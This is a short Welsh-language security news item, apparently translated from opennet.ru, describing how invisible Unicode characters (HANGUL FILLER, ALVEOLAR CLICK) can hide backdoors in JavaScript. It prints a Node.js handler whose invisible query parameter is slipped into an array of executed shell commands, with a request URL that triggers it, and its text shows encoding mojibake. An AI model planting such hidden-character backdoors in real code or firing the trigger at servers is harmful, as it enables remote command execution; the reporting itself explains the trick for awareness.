Yn dilyn y dull ymosodiad Ffynhonnell Trojan, sy'n seiliedig ar y defnydd o nodau Unicode sy'n newid trefn arddangos testun deugyfeiriadol, mae techneg arall ar gyfer cyflwyno gweithredoedd cudd wedi'i chyhoeddi, sy'n berthnasol i god JavaScript. Mae'r dull newydd yn seiliedig ar y defnydd o'r nod unicode βγ €β (cod 0x3164, βHANGUL FILLERβ), sy'n perthyn i'r categori llythyrau, ond heb gynnwys gweladwy. Mae'r categori Unicode y mae'r nod hwn yn perthyn iddo wedi'i ganiatΓ‘u ers manyleb ECMAScript 2015 i'w ddefnyddio mewn enwau newidyn JavaScript, gan ei gwneud hi'n bosibl creu newidynnau anweledig neu newidynnau newydd na ellir eu gwahaniaethu oddi wrth newidynnau eraill mewn golygyddion cod poblogaidd fel Notepad ++ a VS Code.
Er enghraifft, rhoddir y cod ar gyfer platfform Node.js, lle, gan ddefnyddio newidyn sy'n cynnwys un nod βγ €β, mae drws cefn wedi'i guddio sy'n caniatΓ‘u gweithredu'r cod a nodir gan yr ymosodwr: app.get('/ network_health ', async (req, res) => { const { goramser, γ €} = req.query; // mewn gwirionedd mae'n dweud βconst { goramser, γ € \u3164}β const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/', γ € // dilynir y coma gan y cymeriad \u3164 ];
Ar yr olwg gyntaf, dim ond y gwerth terfyn amser sy'n cael ei basio trwy'r paramedr allanol, ac mae'r arae gyda'r gorchmynion i'w gweithredu yn cynnwys rhestr sefydlog ddiniwed. Ond mewn gwirionedd, ar Γ΄l y newidyn terfyn amser, mae gwerth newidyn anweledig arall gyda'r cod nod \u3164 yn cael ei neilltuo, sydd hefyd yn cael ei amnewid yn yr amrywiaeth o orchmynion gweithredadwy. Felly, os oes dyluniad o'r fath ar gael, gall ymosodwr anfon cais fel βhttps://host: 8080/network_health?%E3%85%A4=commandβ i actifadu'r drws cefn a gweithredu eu cod.
Enghraifft arall yw'r cymeriad "Η" (CLICIWCH ALVEOLAR), y gellir ei ddefnyddio i roi ymddangosiad nodi pwynt ebychnod. Er enghraifft, bydd yr ymadrodd βif(environmentΗ=ENV_PROD){β pan gaiff ei weithredu yn Node.js 14 bob amser yn wir, gan nad yw'n gwirio am wahaniaethau, ond yn aseinio gwerth ENV_PROD i'r newidyn βenvironmentΗβ. Mae cymeriadau unicode camarweiniol eraill yn cynnwys "οΌ", "β", "οΌ", "β©΅", "β¨", "β«½", "κΏ" a "β".
Ffynhonnell: opennet.ru